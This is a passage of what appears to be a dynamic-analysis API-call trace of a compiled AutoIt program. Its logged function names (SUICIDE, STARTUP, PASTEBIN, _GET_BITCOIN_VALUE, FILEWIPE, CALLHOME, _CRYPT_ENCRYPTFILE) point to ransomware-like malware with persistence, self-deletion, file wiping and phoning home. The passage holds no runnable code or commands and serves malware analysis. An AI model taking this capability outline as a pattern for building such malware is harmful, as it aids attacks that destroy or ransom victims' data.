cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0031.541] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0031.542] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0031.542] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0031.542] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0031.542] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0031.542] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0031.542] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0031.542] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0031.542] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0031.542] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0031.542] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0031.542] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0031.542] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0031.542] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0031.542] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0031.542] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0031.542] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0031.542] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0031.542] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0031.542] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0031.542] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0031.542] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0031.542] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0031.542] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0031.542] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0031.542] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0031.542] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0031.542] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0031.542] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0031.542] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0031.542] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0031.542] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0031.543] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0031.543] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0031.543] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0031.543] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0031.543] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0031.543] AllocateAndInitializeSid (in: pIdentifierAuthority=0xc80cb2fad8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xc80cb2fae0 | out: pSid=0xc80cb2fae0) returned 1 [0031.543] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0xc80cd52ae0, IsMember=0xc80cb2fad0 | out: IsMember=0xc80cb2fad0) returned 1 [0031.543] GetSysColorBrush (nIndex=15) returned 0x1100074 [0031.543] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0031.543] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0x63) returned 0x6901a7 [0031.544] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa4) returned 0x30207 [0031.544] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa2) returned 0x270183 [0031.544] LoadImageW (hInst=0x7ff756b50000, name=0x63, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0xb0113 [0031.544] RegisterClassExW (param_1=0xc80cb2fa70) returned 0xc146 [0031.545] GetSysColorBrush (nIndex=15) returned 0x1100074 [0031.545] RegisterClassExW (param_1=0xc80cb2f9e0) returned 0xc119 [0031.545] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0031.545] InitCommonControlsEx (picce=0xc80cb2fa48) returned 1 [0031.545] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=1, cGrow=1) returned 0xc80cc21900 [0031.545] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa9) returned 0xd00d9 [0031.546] ImageList_ReplaceIcon (himl=0xc80cc21900, i=-1, hicon=0xd00d9) returned 0 [0031.546] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3", lpWindowName="AutoIt v3", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x4002c [0031.546] NtdllDefWindowProc_W (hWnd=0x4002c, Msg=0x24, wParam=0x0, lParam=0xc80cb2f4c0) returned 0x0 [0031.547] NtdllDefWindowProc_W (hWnd=0x4002c, Msg=0x81, wParam=0x0, lParam=0xc80cb2f470) returned 0x1 [0031.553] NtdllDefWindowProc_W (hWnd=0x4002c, Msg=0x83, wParam=0x0, lParam=0xc80cb2f4e0) returned 0x0 [0031.555] SetTimer (hWnd=0x4002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0031.555] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0031.555] CreatePopupMenu () returned 0x701c7 [0031.556] CreateWindowExW (dwExStyle=0x0, lpClassName="edit", lpWindowName=0x0, dwStyle=0x50b008c4, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x4002c, hMenu=0x1, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x401e4 [0031.562] NtdllDefWindowProc_W (hWnd=0x4002c, Msg=0x210, wParam=0x10001, lParam=0x401e4) returned 0x0 [0031.562] ShowWindow (hWnd=0x4002c, nCmdShow=0) returned 0 [0031.562] ShowWindow (hWnd=0x4002c, nCmdShow=0) returned 0 [0031.562] Shell_NotifyIconW (dwMessage=0x0, lpData=0xc80cb2f6f0) returned 1 [0031.569] Shell_NotifyIconW (dwMessage=0x1, lpData=0xc80cb2f2f0) returned 1 [0031.569] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0031.569] TranslateMessage (lpMsg=0xc80cb2f8f0) returned 0 [0031.569] DispatchMessageW (lpMsg=0xc80cb2f8f0) returned 0x0 [0031.569] NtdllDefWindowProc_W (hWnd=0x4002c, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0031.569] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.569] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.569] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0031.569] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.569] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0031.569] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.569] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0031.569] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.569] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0031.569] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.569] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0031.569] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.570] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0031.570] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.570] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0031.570] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.570] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0031.570] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.570] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0031.570] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.570] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0031.570] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.570] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.570] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.570] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.570] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.570] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.570] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.570] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.570] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.571] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.572] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0031.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0031.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0031.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0031.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0031.573] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0031.573] PeekMessageW 